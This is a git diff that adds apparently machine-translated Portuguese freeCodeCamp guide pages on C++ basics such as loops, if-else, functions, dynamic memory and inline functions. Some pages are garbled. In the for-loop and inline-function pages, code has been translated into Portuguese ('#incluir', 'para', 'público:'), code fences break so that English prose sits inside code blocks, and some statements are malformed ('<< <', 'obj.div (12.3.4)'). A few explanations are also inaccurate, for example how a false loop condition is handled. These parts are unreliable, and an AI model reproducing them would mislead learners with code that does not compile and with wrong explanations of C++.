+NOTA: para compilar e executar seu código diretamente, execute `g++ -o helloWorld helloWorld.cpp; ./helloWorld` então quando você precisar compilar e executar seu código várias vezes, seta para cima
+
+* * *
+
+Existem vários tipos diferentes de compiladores. Os dois listados são os dois que geralmente são empacotados com o Windows ou Linux / OSX.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/cplusplus/conditional-operator/index.md b/client/src/guide/portuguese/cplusplus/conditional-operator/index.md
new file mode 100644
index 0000000000..60208becc4
--- /dev/null
+++ b/client/src/guide/portuguese/cplusplus/conditional-operator/index.md
@@ -0,0 +1,44 @@
+---
+title: Conditional Operator
+localeTitle: Operador Condicional
+---
+## Operador Condicional
+
+O operador condicional é um operador ternário, ou seja, ele precisa de 3 operandos. Ele retorna um dos dois valores dependendo do resultado de uma expressão O operador condicional é usado para substituir uma instrução if-else simples.
+
+Sintaxe:
+
+```cpp
+  (condition)?(expression-1):(expression-2); 
+```
+
+Aqui, a expressão-1 é avaliada quando a condição é verdadeira e a expressão-2 é avaliada quando a condição é falsa. Declaração if-else semelhante seria:
+
+```cpp
+if(condition) 
+  { 
+    expression-1; 
+  } 
+ else 
+  { 
+    expression-2; 
+  } 
+```
+
+Portanto, o operador condicional é muito útil quando você precisa escrever instruções if-else simples. Também pode ser usado em #define pré-processador quando uma condição semelhante é usada em vários locais.
+
+Por exemplo, para encontrar o máximo de dois operadores condicionais numéricos pode ser usado da seguinte forma:
+
+```cpp
+#define big(a,b) (a>=b)?a:b 
+ 
+ int maximum,x=5,y=6; // variable to store maximum of two numbers 
+ maximum=(x>y)?x:y; // directly using conditional operator 
+ maximum=big(x,y); // using the #define preprocessor defined above as big 
+```
+
+**Boa sorte para todos vocês**
+
+**Codificação Feliz! :)**
+
+**Sinta-se à vontade para fazer qualquer pergunta sobre a página GitHub do [FreeCodeCamp](https://forum.freecodecamp.org/) ou [sobre o Fórum do FreeCodeCamp.](https://forum.freecodecamp.org/)**
\ No newline at end of file
diff --git a/client/src/guide/portuguese/cplusplus/do-while-loop/index.md b/client/src/guide/portuguese/cplusplus/do-while-loop/index.md
new file mode 100644
index 0000000000..7e119f8132
--- /dev/null
+++ b/client/src/guide/portuguese/cplusplus/do-while-loop/index.md
@@ -0,0 +1,43 @@
+---
+title: do while loop
+localeTitle: fazer loop while
+---
+## Do While Loop
+
+O `do while loop` é quase o mesmo que o loop while. O `do while loop` tem o seguinte formato:
+
+```cpp
+do 
+ { 
+  // do something; 
+ } while(expression); 
+```
+
+Nota: Lembre-se de usar um ponto e vírgula ';' no final da condição.
+
+## Detalhes sobre o loop do-while
+
+O loop do-while é usado sempre que você tem certeza de que um determinado processo (dentro do loop) deve ser executado pelo menos uma vez. Ele tem muitas vantagens, como não inicializar a variável de verificação (por exemplo, char addmore = 'Y') etc. O ponto e vírgula no final do tempo é uma obrigação.
+
+Faça algo primeiro e depois teste se tivermos que continuar. O resultado é que o bloco do é executado pelo menos uma vez. (Porque o teste de expressão vem depois). Dê uma olhada em um exemplo:
+
+```cpp
+#include <iostream> 
+    using namespace std; 
+ 
+    int main() 
+    { 
+        int counter, howmuch; 
+ 
+        cin >> howmuch; 
+        counter = 0; 
+        do 
+        { 
+            counter++; 
+            cout << counter << '\n'; 
+        } 
+        while ( counter < howmuch); 
+        return 0; 
+    } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/cplusplus/dynamic-memory-allocation/index.md b/client/src/guide/portuguese/cplusplus/dynamic-memory-allocation/index.md
new file mode 100644
index 0000000000..583bfd483d
--- /dev/null
+++ b/client/src/guide/portuguese/cplusplus/dynamic-memory-allocation/index.md
@@ -0,0 +1,40 @@
+---
+title: Dynamic Memory Allocation
+localeTitle: Alocação Dinâmica de Memória
+---
+## Alocação de Memória Dinâmica em C ++
+
+### O que é alocação dinâmica de memória em C ++?
+
+*   **Alocação de memória** em C ++ refere-se à memória alocada para as variáveis ​​que você usa em todo o seu programa.
+*   **Alocação de Memória Dinâmica** é a memória que é atribuída às variáveis ​​no tempo de execução e a quantidade de memória requerida também é decidida no tempo de execução.
+*   Essa memória vem do **heap** , enquanto variáveis _não estáticas_ e variáveis _locais_ obtêm memória da **pilha** .
+*   Em C ++, o programador pode executar alocações de memória manualmente e é chamado como **_alocação de memória dinâmica_** .
+*   Era possível em C fazer alocação de memória dinâmica, usando _funções calloc_ e _malloc_ para alocar memória e usar função _livre_ para desalocar a memória dinâmica.
+*   Em C ++, além de acima, há duas funções, _new_ e _delete_ para executar alocação de memória dinâmica e desalocação.
+
+### NOVO operador
+
+*   `new` operador pode conceder a memória do programador do heap (se disponível). Se a memória solicitada pelo programador estiver disponível, o `new` operador inicializa a memória e retorna o endereço (referência) da memória alocada.
+*   **Sintaxe**  
+    `pointer-variable-type` = **novo** `data-type;`  
+    Exemplo 1: `int *ptr` = **new** `int;`  
+    Exemplo 2: `int *ptr2` = **new** `int[10];`  
+    Aqui, `pointer-variable-type` é um **ponteiro** de `data type` de `data type` . O `data-type` pode ser int, char, etc. ou tipo de dados definido pelo usuário.
+
+### Operador DELETE
+
+*   É responsabilidade do programador des-alocar a memória alocada dinamicamente, caso contrário a memória não estará disponível para ser reatribuída até o final do programa.
+    
+*   Para desalocar a memória, o operador `delete` está disponível e pode ser usado pelo programador.
+    
+*   **Sintaxe**  
+    **delete** `pointer-type-variable;`  
+    Por exemplo, para liberar a memória alocada no exemplo 1 acima, nós digitamos:  
+    `delete ptr;`  
+    Da mesma forma, por exemplo 2, a memória pode ser liberada por:  
+    `delete ptr2` ;
+    
+    ### Perdas de memória
+    
+    Os vazamentos são causados ​​quando você não consegue desalocar a memória dinâmica alocada por meio do operador `New` no final do programa. Se você não desalocá-lo com o operador Excluir, seu computador continuará criando nova memória no heap toda vez que o programa for executado. Isso faz com que o computador fique lento porque a memória não é excluída e a memória disponível diminui.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/cplusplus/erase-remove/index.md b/client/src/guide/portuguese/cplusplus/erase-remove/index.md
new file mode 100644
index 0000000000..470940e58c
--- /dev/null
+++ b/client/src/guide/portuguese/cplusplus/erase-remove/index.md
@@ -0,0 +1,88 @@
+---
+title: Erase–remove idiom
+localeTitle: Apagar - remover idioma
+---
+## Descrição
+
+Como remover elementos do container é uma pergunta comum da entrevista C ++, para que você possa ganhar alguns pontos de brownie, se você ler esta página cuidadosamente. A expressão apagar e remover é uma técnica de C ++ para eliminar elementos que preenchem um determinado critério de um contêiner. No entanto, é possível eliminar elementos com o tradicional loop escrito à mão, mas o idioma apagar-remover tem várias vantagens.
+
+### Comparação
+
+```cpp
+// Using a hand-written loop 
+ std::vector<int> v = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 }; 
+ for (auto iter = v.cbegin(); iter < v.cend(); /*iter++*/) 
+ { 
+    if (is_odd(*iter)) 
+    { 
+        iter = v.erase(iter); 
+    } 
+    else 
+    { 
+        ++iter; 
+    } 
+ } 
+ 
+ // Using the erase–remove idiom 
+ std::vector<int> v = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 }; 
+ v.erase(std::remove_if(v.begin(), v.end(), is_odd), v.end()); 
+```
+
+Como você pode ver, o código com loop escrito à mão requer um pouco mais de digitação, mas também tem um problema de desempenho. Cada chamada de `erase` tem que avançar todos os elementos após o apagado, para evitar "lacunas" na coleção. A chamada `erase` várias vezes no mesmo container gera muita sobrecarga de movimentação dos elementos.
+
+Por outro lado, o código com o idioma apagar-remover não é apenas mais expressivo, mas também é mais eficiente. Primeiro, use `remove_if/remove` para mover todos os elementos que não se encaixam nos critérios de remoção para a frente do intervalo, mantendo a ordem relativa dos elementos. Então, depois de chamar `remove_if/remove` , uma única chamada de `erase` exclui todos os elementos restantes no final do intervalo.
+
+### Exemplo
+
+```cpp
+#include <vector> // the general-purpose vector container 
+ #include <iostream> // cout 
+ #include <algorithm> // remove and remove_if 
+ 
+ bool is_odd(int i) 
+ { 
+    return (i % 2) != 0; 
+ } 
+ 
+ void print(const std::vector<int> &vec) 
+ { 
+    for (const auto& i : vec) 
+        std::cout << i << ' '; 
+    std::cout << std::endl; 
+ } 
+ 
+ int main() 
+ { 
+    // initializes a vector that holds the numbers from 1-10. 
+    std::vector<int> v = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 }; 
+    print(v); 
+ 
+    // removes all elements with the value 5 
+    v.erase(std::remove(v.begin(), v.end(), 5), v.end()); 
+    print(v); 
+ 
+    // removes all odd numbers 
+    v.erase(std::remove_if(v.begin(), v.end(), is_odd), v.end()); 
+    print(v); 
+ 
+    // removes multiples of 4 using lambda 
+    v.erase(std::remove_if(v.begin(), v.end(), [](int n) { return (n % 4) == 0; }), v.end()); 
+    print(v); 
+ 
+    return 0; 
+ } 
+ 
+ /* 
+ Output: 
+ 1 2 3 4 5 6 7 8 9 10 
+ 1 2 3 4 6 7 8 9 10 
+ 2 4 6 8 10 
+ 2 6 10 
+ */ 
+```
+
+### Fontes
+
+"Erase – remove idiom" Wikipedia: A enciclopédia livre. Wikimedia Foundation, Inc. [en.wikipedia.org/wiki/Erase-remove\_idiom](https://en.wikipedia.org/wiki/Erase%E2%80%93remove_idiom)
+
+Meyers, Scott (2001). STL Efetivo: 50 Formas Específicas de Melhorar o Uso da Biblioteca de Modelos Padrão. Addison-Wesley.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/cplusplus/error handling/index.md b/client/src/guide/portuguese/cplusplus/error handling/index.md
new file mode 100644
index 0000000000..f7a04eb965
--- /dev/null
+++ b/client/src/guide/portuguese/cplusplus/error handling/index.md	
@@ -0,0 +1,49 @@
+---
+title: Error Handling
+localeTitle: Tratamento de erros
+---
+# Manipulação de exceção de C ++
+
+Uma exceção é um problema que surge durante a execução de um programa. As exceções fornecem uma maneira de transferir o controle de uma parte de um programa para outra. O tratamento de exceções do C ++ é construído sobre três palavras-chave: #try, #catch e #throw.
+
+*   # throw - Um programa gera uma exceção quando um problema é exibido. Isso é feito usando uma palavra-chave throw.
+    
+*   # catch - Um programa captura uma exceção com um manipulador de exceção no local em um programa onde você deseja lidar com o problema. A palavra-chave catch indica a captura de uma exceção.
+    
+*   #try - Um bloco try identifica um bloco de código para o qual exceções específicas serão ativadas. É seguido por um ou mais blocos de captura.
+    
+
+```CPP
+#include <iostream> 
+ using namespace std; 
+ 
+ int main() 
+ { 
+   int x = -1; 
+ 
+   // Some code 
+   cout << "Before try \n"; 
+   try { 
+      cout << "Inside try \n"; 
+      if (x < 0) 
+      { 
+         throw x; 
+         cout << "After throw (Never executed) \n"; 
+      } 
+   } 
+   catch (int x ) { 
+      cout << "Exception Caught \n"; 
+   } 
+ 
+   cout << "After catch (Will be executed) \n"; 
+   return 0; 
+ } 
+```
+
+# Antes de você ir ...
+
+## Uma revisão
+
+*   Agrupamento de tipos de erros.
+*   Separação de código de tratamento de erros do código normal.
+*   Funções / métodos podem manipular quaisquer exceções que escolherem.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/cplusplus/for-loop/index.md b/client/src/guide/portuguese/cplusplus/for-loop/index.md
new file mode 100644
index 0000000000..47ce1b2945
--- /dev/null
+++ b/client/src/guide/portuguese/cplusplus/for-loop/index.md
@@ -0,0 +1,91 @@
+---
+title: For Loop
+localeTitle: Para loop
+---
+Um For Loop é uma instrução repetitiva que é usada para verificar alguma condição e, em seguida, com base na condição, um bloco de código é executado repetidamente até que a condição especificada seja satisfeita.
+
+O loop for é distinguido de outras instruções de loop através de um contador de loop explícito ou uma variável de loop que permite que o corpo do loop saiba o seqüenciamento exato de cada iteração.
+
+Portanto, um loop for é uma estrutura de controle de repetição que permite escrever com eficiência um loop que precisa executar um número específico de vezes.
+
+## Sintaxe
+```
+for ( init; condition; increment ) { 
+   statement(s); 
+ } 
+```
+
+É permitido colocar o incremento dentro do loop for como em um loop while. Ou seja, uma sintaxe como essa também pode funcionar.
+```
+for ( init; condition;) { 
+   statement(s); 
+   increment; 
+ } 
+```
+
+### nisso
+
+Esta etapa permite declarar e inicializar qualquer variável de controle de loop. Essa etapa é executada primeiro e apenas uma vez.
+
+### condição
+
+Em seguida, a condição é avaliada. Se for verdade, o corpo do loop é executado. Se for falso, o corpo do loop não é executado e o fluxo de controle pula para a próxima iteração (repetição de um processo).
+
+### atualizar
+
+A instrução de atualização é usada para alterar a variável de loop usando operações simples como adição, subtração, multiplicação ou divisão. A instrução de atualização é executada após a execução do corpo do loop.
+
+## IMPLEMENTAÇÃO:
+
+```C++
+#include <iostream> 
+ using namespace std; // Here we use the scope resolution operator to define the scope of the standar functions as std:: 
+ 
+ int main () { 
+   // for loop execution 
+   for( int a = 10; a < 20; a = a + 1 ) { // The loop will run till the value of a is less than 20 
+      cout << "value of a: " << a << endl; 
+   } 
+ 
+   return 0; 
+ }``` 
+ 
+ Output: 
+ value of a: 10 
+ value of a: 11 
+ value of a: 12 
+ value of a: 13 
+ value of a: 14 
+ value of a: 15 
+ value of a: 16 
+ value of a: 17 
+ value of a: 18 
+ value of a: 19 
+ 
+ ##Single lined loop 
+ The body of the for loop need not be enclosed in braces if the loop iterates over only one satatement. 
+ ##Example 
+```
+
+c ++ #incluir usando namespace std;
+
+int main () { // Single line for loop para (int a = 10; a <20; a = a + 1) cout << "valor de a:" << a << endl;
+
+return 0; } \`\` \`
+
+Isso geraria a mesma saída do programa anterior. ou seja Saída: valor de: 10 valor de um: 11 valor de: 12 valor de: 13 valor de a: 14 valor de: 15 valor de um: 16 valor de: 17 valor de um: 18 valor de um: 19
+```
+## Explanation 
+ Here's the initialization condition is first set to a=10. The loop first checks for this condition. It then checks for the condition expression ie a<20 which holds true as 10<20(for the first case). Now the body of the loop is executed and we get the output "Value of a: 10". Then the update expression is executed which adds the number 1 to 'a' and the value of 'a' gets updated to 11 and the same steps are followed (as above) until the value of v reaches less than 20 ie 19. 
+ 
+ # Range-based for-loop 
+ C++ also has what we call range-based for loops which iterates through all the elements of a container(eg array). 
+ 
+ ## Syntax 
+```
+
+para (elemento: container) afirmações); }
+
+int \[5\] array = {1, 2, 3, 4, 5} para (int i: array) cout << i << endl; }
+
+Saída: 1 2 3 4 5 \`\` \`
\ No newline at end of file
diff --git a/client/src/guide/portuguese/cplusplus/functions/index.md b/client/src/guide/portuguese/cplusplus/functions/index.md
new file mode 100644
index 0000000000..d0b9159048
--- /dev/null
+++ b/client/src/guide/portuguese/cplusplus/functions/index.md
@@ -0,0 +1,59 @@
+---
+title: Functions in C++
+localeTitle: Funções em C ++
+---
+## Definição:
+
+Uma função é um grupo de instruções que juntas executam uma tarefa. Todo programa C ++ tem pelo menos uma função, que é main ().
+
+Uma declaração de função informa ao compilador sobre o nome de uma função, tipo de retorno e parâmetros. Uma definição de função fornece o corpo real da função.
+
+## A forma geral de uma definição de função C ++:
+
+```cpp
+return_type function_name( parameter list ) 
+ { 
+   body of the function 
+ } 
+```
+
+### Tipo de retorno:
+
+Uma função pode retornar um valor. O _tipo de_ retorno _é o tipo de dados do valor que a função retorna. Algumas funções executam as operações desejadas sem retornar um valor. Nesse caso, o_ tipo de _retorno_ é a palavra-chave void.
+
+### Nome da função:
+
+Este é o nome real da função. O nome da função e a lista de parâmetros juntos constituem a assinatura da função.
+
+### Parâmetros:
+
+Um parâmetro é como um marcador de posição. Quando uma função é chamada, você passa um valor para o parâmetro. Este valor é referido como parâmetro ou argumento real. A lista de parâmetros refere-se ao tipo, ordem e número dos parâmetros de uma função. Parâmetros são opcionais; isto é, uma função pode não conter parâmetros.
+
+### Corpo da função:
+
+O corpo da função contém uma coleção de instruções que definem o que a função faz.
+
+## Exemplo:
+
+```cpp
+int max(int num1, int num2) 
+ { 
+   // local variable declaration 
+   int result; 
+ 
+   if (num1 > num2) 
+      result = num1; 
+   else 
+      result = num2; 
+ 
+   return result; 
+ } 
+```
+
+## Por que as funções são importantes?
+
+As funções suportam a modularidade (decomposição do trabalho em partes menores chamadas módulos), que é uma característica essencial da OOP que separa principalmente C ++ de C. Ter funções específicas para executar tarefas específicas elimina a confusão e reduz o tamanho da função principal. A função também executa a capacidade de reutilização do código. Então, da próxima vez que você tiver que calcular o máximo de dois números diferentes antes e novamente no mesmo programa, você não precisa copiar e colar seu código. Você só tem que chamar a função e faz o resto do trabalho.
+
+## Mais Informações
+
+*   [TutorialsPoint](https://www.tutorialspoint.com/cplusplus/cpp_functions.htm)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/cplusplus/goto/index.md b/client/src/guide/portuguese/cplusplus/goto/index.md
new file mode 100644
index 0000000000..d611d54a7f
--- /dev/null
+++ b/client/src/guide/portuguese/cplusplus/goto/index.md
@@ -0,0 +1,27 @@
+---
+title: goto as a powerful utility
+localeTitle: goto como um poderoso utilitário
+---
+# Introdução ao uso de goto e rótulos
+
+goto é uma das mais poderosas e subestimadas partes da lógica em c ++. Uma quantidade louca de otimização pode ser obtida usando o goto, desde que seja usado corretamente. Faz aquilo que é chamado como. Vai para a ocorrência mencionada do próximo rótulo, onde quer que esteja.
+
+# Terminologia
+```
+goto - The keyword used to go to the particular label. 
+ label - this can be named anything. 
+```
+
+# sintaxe
+
+goto ;
+
+(sem o <>);
+
+// Isso leva o exe para a próxima aparição do rótulo.
+
+goto é algo que transcende todos os loops.Para ser mais claro sobre este ponto, aqui está um exemplo.
+
+https://code.sololearn.com/cI4qqQA8W2q3
+
+No entanto, deve-se tomar cuidado ao usar o goto com muito cuidado, especialmente nos primeiros dias de codificação, pois isso pode levar a problemas malucos, se não for bem compreendido.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/cplusplus/if-else-statement/index.md b/client/src/guide/portuguese/cplusplus/if-else-statement/index.md
new file mode 100644
index 0000000000..8b71dac48b
--- /dev/null
+++ b/client/src/guide/portuguese/cplusplus/if-else-statement/index.md
@@ -0,0 +1,192 @@
+---
+title: If-Else Statement
+localeTitle: Declaração If-Else
+---
## O que faz uma declaração If-Else?
+
+*   A instrução If-Else é uma extensão da instrução If simples.
+*   Na declaração if simples, se o valor da expressão de teste for falso, então pulamos o código do bloco e continuamos com nossa próxima instrução.
+*   Porém, muitas vezes, queremos executar determinadas etapas se o valor da expressão de teste for falso.
+*   Em tais casos, usamos a instrução if-else.
+
+### Formulário Geral da Declaração If-Else
+
+```cpp
+if (test expression) 
+ { 
+  //statements that run if the test expression is true 
+ } 
+ else 
+ { 
+  //statements that run if the test expression is false 
+ } 
+```
+
+### Exemplo de declaração If-Else
+
+Se a expressão de teste for verdadeira:
+
+```cpp
+int a=10; 
+ if (a < 20) // This expression is true, so... 
+ { 
+  //...the code in this block gets executed, and... 
+ } 
+ else 
+ { 
+  //...the code in this block gets skipped. 
+ } 
+ //program continues 
+```
+
+Se a expressão de teste for falsa:
+
+```cpp
+int a=10; 
+ if (a>20) // This expression is false, so this time... 
+ { 
+  //...this code gets skipped... 
+ } 
+ else 
+ { 
+  //...and this code executes instead. 
+ } 
+ //program continues 
+```
+
+### Exemplo em C ++:
+
+```cpp
+//Program to check whether number entered by user is positive or negative 
+ #include <iostream> 
+ using namespace std; 
+ int main() 
+ { 
+  int no; 
+  cout << "Enter a number: " << endl; 
+ 
+  cin >> no; 
+ 
+  // condition to check if number is positive or negative 
+  if (no >= 0) // positive 
+  { 
+    // block if value is true 
+    cout << "You entered a positive number: " << no << endl; 
+  } 
+  else         // negative 
+  { 
+    // block if value is false 
+    cout << "You entered a negative number: " << no << endl; 
+  } 
+ 
+  // program continues 
+  cout << "This step is always printed" << endl; 
+  return 0; 
+ } 
+```
+
+#### Saída
+
+*   Quando um número positivo é inserido:
+```
+Enter a number: 
+ 4 
+ You entered a positive number: 4 
+ This step is always printed 
+```
+
+*   Quando um número negativo é inserido:
+```
+Enter a number: 
+ -200 
+ You entered a negative number: -200 
+ This step is always printed 
+```
+
+[Experimente o código você mesmo](https://repl.it/MzBq)
+
+# **Sinta-se à vontade para fazer qualquer pergunta sobre a página GitHub do [FreeCodeCamp](https://forum.freecodecamp.org/) ou [sobre o Fórum do FreeCodeCamp.](https://forum.freecodecamp.org/)**
+
+[Experimente o código você mesmo](https://repl.it/MzBq)
+
+### Uso de if… else if… else ladder
+
+Se tivermos que tomar decisões com base em mais de uma condição usando if mais. Nós usamos mais se a condição da seguinte forma -
+
+```cpp
+#include<iostream> 
+ int main() 
+ { 
+    int score; 
+    std::cout<<"Enter your score: \n"; 
+    std::cin>>score; 
+    if(score>=90) 
+        std::cout<<"Top performance."; 
+    else if(score<90 && score>=70) 
+        std::cout<<"Good performance"; 
+    else if(score<70 && score>=45) 
+        std::cout<<"Average performance"; 
+    else if(score<45 && score>=30) 
+        std::cout<<"You can improve it."; 
+   return 0; 
+ } 
+```
+
+#### Saída
+```
+Enter your score: 
+ 85 
+ Good performance 
+```
+
+### Outro exemplo de if… else if… else ladder
+
+Suponha que o usuário tenha inserido dois números e vamos exibir se um dos números for maior que o outro. E se nenhum dos dois é maior que o outro, então imprimimos a declaração "Ambos são iguais".
+
+Neste scinerio nós precisaremos de uma declaração if… else if… else ladder. O programa ficará assim:
+```
+#include<iostream> 
+ using namespace std; 
+ int main() 
+ { 
+    int number1,number2; 
+    cout << "Enter first number: \n"; 
+    cin >> number1; 
+    cout << "Enter second number: \n"; 
+    cin >> number2; 
+ 
+    if(number1 > number2)     // Checks if the first number is greater than the second number 
+    { 
+        cout << "Number 1 is greater."; 
+    } 
+    else if(number2 > number1)    // Checks if the second number is greater than the first number 
+    { 
+        cout << "Number 2 is greater."; 
+    } 
+    else    // If both of the above cases return false, then both numbers are equal 
+    { 
+        cout << "Both the numbers are equal."; 
+    } 
+ 
+    return 0; 
+ } 
+```
+
+#### Saída
+```
+Enter first number: 
+ 85 
+ Enter second number: 
+ 86 
+ Number 2 is greater. 
+```
+
+*   Observe que o programa só verificará a condição 'else if' quando a condição inicial 'if' não for satisfeita. E se nenhuma dessas condições for satisfeita, o último bloco 'else' será executado, imprimindo a declaração: "Ambos os números são iguais".
+    
+*   O tamanho da escada if… else if… else pode variar dependendo do problema que o programa está tentando resolver e do número de condições que precisam ser verificadas.
+    
+
+**Boa sorte para todos vocês**
+
+**Codificação Feliz! :)**
+
+**Sinta-se à vontade para fazer qualquer pergunta sobre a página GitHub [do freeCodeCamp.org](https://forum.freecodecamp.org/) ou sobre [o Fórum freeCodeCamp.org](https://forum.freecodecamp.org/)** .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/cplusplus/index.md b/client/src/guide/portuguese/cplusplus/index.md
new file mode 100644
index 0000000000..b334443469
--- /dev/null
+++ b/client/src/guide/portuguese/cplusplus/index.md
@@ -0,0 +1,103 @@
+---
+title: C++
+localeTitle: C ++
+---
# Olá Mundo! - Seu primeiro programa C ++
+
+## O que é o C ++?
+
+*   C ++ é uma linguagem de programação de uso geral que tem sido usada desde a década de 1990
+    
+*   Foi projetado por Bjarne Stroustrup sob o nome "C com classes".
+    
+*   É uma versão do C que inclui elementos orientados a objetos, incluindo classes e funções.
+    
+*   É considerada uma das maiores linguagens de programação, como você pode ver na imagem a seguir: ![Img](http://static1.businessinsider.com/image/59deb30392406c21008b6148-1200/for-bonus-points-heres-the-chart-showing-these-languages-relative-popularity.jpg) _fonte: Github_
+    
+
+### Seu primeiro programa em C ++
+
+```cpp
+#include <iostream> 
+ using namespace std; 
+ int main() 
+ { 
+    cout << "Hello World" << endl; 
+    return 0; 
+ } 
+```
+
+#### A saída deste programa será simplesmente:
+```
+Hello World! 
+```
+
+Agora, vamos detalhar o código:
+
+#### Linhas 1 e 2
+
+```cpp
+#include <iostream> 
+ using namespace std; 
+```
+
+*   A primeira linha informa ao computador para usar o arquivo de cabeçalho "iostream" para este programa específico. Um arquivo de cabeçalho é um arquivo separado com código C ++ pré-escrito. Existem muitos outros arquivos de cabeçalho que são necessários para que um programa específico seja executado corretamente. Alguns deles são: matemática, vetor e string. Arquivos de cabeçalho geralmente são representados por uma extensão ".h" (você não precisa adicionar .h ao incluir arquivos de biblioteca padrão C ++)
+*   `iostream` significa fluxo de entrada-saída. O arquivo "iostream" contém código para permitir que o computador receba entrada e gere uma saída, usando a linguagem C ++.
+*   A segunda linha diz ao computador para usar o namespace padrão que inclui recursos do C ++ padrão. Você poderia escrever este programa sem esta linha, mas você teria que usar `std::cout` vez de `cout` e `std::endl` vez de `endl` na linha 4. Isso torna o código mais legível e nossa vida como programadores mais fácil.
+
+#### Linha 3 e 4
+
+```cpp
+int main() 
+ { 
+```
+
+*   C ++ inicia a execução de um programa a partir da função -main- `int main()` . Durante a execução, o computador começa a executar o código de cada linha de `{` (colchete de abertura) até `}` (colchete de fechamento) **NOTA: Cada função começa com uma chave de abertura "{" e termina com uma chave de fechamento "}".**
+*   A linha 4 indica o início da função main ().
+
+#### Linhas 5, 6 e 7
+
+```cpp
+    cout << "Hello World" << endl; 
+    return 0; 
+ } 
+```
+
+*   A palavra `cout` em C ++ é usada para saída.
+*   É seguido por `<<` , o _operador de inserção_ .
+*   O que quer que esteja entre as aspas duplas `""` é impresso. Certos caracteres especiais têm uma sintaxe diferente para instruções de impressão
+*   Agora, para imprimir qualquer outro tipo de dados, você precisa adicionar `<<` .
+
+**_Desafio: Tente mudar o Hello World para qualquer outra frase ou palavra (s). Qual será o resultado?_**
+
+*   `endl` é uma palavra reservada ao usar a linguagem C ++ para **finalizar esta linha e ir para a próxima linha durante a saída** . - _cout significa "saída do console"_
+*   Finalmente, termine o comando com um ponto `;` vírgula `;` .
+
+**OBSERVAÇÃO: Todos os comandos, exceto a definição da função principal e a diretiva #include, precisam ser finalizados pelo ponto-e-vírgula. Sem um ";" , você pode encontrar um erro.**
+
+*   `return 0;` com segurança termina a função atual ou seja, 'main ()' neste caso e desde que nenhuma função segue após 'main ()' o programa é encerrado.
+*   Não se esqueça de informar ao computador que este é o fim da função main (). Para fazer isso, você adiciona a chave de fechamento "}". Você encontrará um erro antes da execução do programa se você não incluir o **}** .
+
+### O código deve ser algo como isto:
+
+![Img](https://i.imgur.com/d1liGwI.png)
+
+Os programadores usam um programa Hello World (como este) como um ritual no uso de uma nova linguagem de programação. É um símbolo de boa sorte.  
+_Você terminou de codificar seu primeiro programa C ++ e entendeu a maior parte do código que você escreveu / digitou. PARABÉNS!_
+
+**Boa sorte para todos vocês e feliz codificação! :)**
+
+**Codificação Feliz! :)**
+
+**Sinta-se à vontade para fazer qualquer pergunta na página do GitHub do [FreeCodeCamp](https://forum.freecodecamp.org/) ou [no Fórum do FreeCodeCamp.](https://forum.freecodecamp.org/)**
+
+[Tente você mesmo ! :)](https://repl.it/L4k3)
+
+**Você pode precisar de algum software para escrever e executar o código C ++. Eu recomendo usar CodeBlocks. Há um link de download abaixo:**
+
+Download Link: [Download Aqui](http://www.codeblocks.org/downloads/26)
+
+*   Clique no link com o compilador GNU / GCC para windows. Isso não exigirá uma instalação adicional
+
+Outras alternativas podem ser o visual studio, usando um compilador ou um IDE on-line como o Cloud9 ou o repl.it
+
+Link # 2 para Mac: [Faça o download para o Mac # 2 aqui](https://developer.apple.com/xcode/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/cplusplus/inline-function/index.md b/client/src/guide/portuguese/cplusplus/inline-function/index.md
new file mode 100644
index 0000000000..030f980544
--- /dev/null
+++ b/client/src/guide/portuguese/cplusplus/inline-function/index.md
@@ -0,0 +1,80 @@
+---
+title: Inline Function
+localeTitle: Função Inline
+---
+# Função Inline
+
+## Introdução
+
+A função Inline é uma função especial definida em C ++ e é expandida em linha quando é chamada.
+
+Agora, o que isso significa exatamente?
+
+Sempre que uma função é chamada, é preciso muito tempo extra para executar uma série de atividades, como saltar para a função, salvar registros, empurrar argumentos para a pilha e retornar à função de chamada. Então leva muito tempo. Mas uma função inline é uma função na qual o compilador foi solicitado a executar uma expansão inline. Onde a função solicita ao compilador para inserir o corpo completo da função em cada lugar que a função é chamada, em vez de gerar código para chamar a função em um local é definido.
+
+No entanto, não podemos garantir que todas as funções declaradas em linha sejam inline. Porque quando declaramos uma função como `inline` , é um pedido, não um comando. Compilador pode ignorar o pedido de inlining nas seguintes situações: - 1) Se a função contém loop, por exemplo, `for` loop, `while` loop, `do-while` loop etc. 2) Se a função contiver um `switch` ou instrução `goto` . 3) Se a função não retornar nada, mesmo se o tipo de retorno (diferente de `void` claro) for mencionado. 4) Se a função contiver uma variável estática. 5) Se a função contiver uma chamada recursiva.
+
+\`\` \`c ++
+
+## sintaxe: -
+
+inline return _type_ nome da _função_ (argument\_list) {
+
+// corpo da função
+
+}
+```
+## When to use Inline function 
+ 
+ * When the function performs small tasks and is called very often. 
+ * When performance is important. 
+ * Instead of a macro. 
+```
+
+c ++
+
+# incluir
+
+usando namespace std;
+
+class MathOperation {
+
+público:
+```
+inline int add(int x, int y){ 
+ 
+  return(x+y); 
+ } 
+ 
+ inline float div(int n1, float n2){ 
+ 
+  return(n1/n2); 
+ } 
+```
+
+};
+
+int main () {
+
+MathOperation obj;
+
+cout << "Adição é:" << obj.add (34,12) << <"\\ n"; cout << "Divisão é:" << obj.div (12.3.4) << "\\ n";
+
+return 0;
+
+} \`\` \`
+
+## Vantagens da função Inline
+
+*   Ele salva a sobrecarga da chamada de retorno de uma função.
+*   Aumenta a localidade de referência utilizando o cache de instruções.
+*   Acelera o seu programa, evitando overheads de chamadas de funções.
+*   Ele economiza sobrecarga de variáveis ​​de operações push / pop na pilha, quando as chamadas de função acontecem.
+*   É possível colocar uma definição de função em um arquivo de cabeçalho, isto é, ela pode ser incluída em várias unidades de compilação, sem que o vinculador se queixe.
+
+## Desvantagens da função inline
+
+*   Quando usado em um cabeçalho, torna o seu arquivo de cabeçalho maior com informações que os usuários não se importam.
+*   Aumenta o tamanho do executável devido à expansão do código.
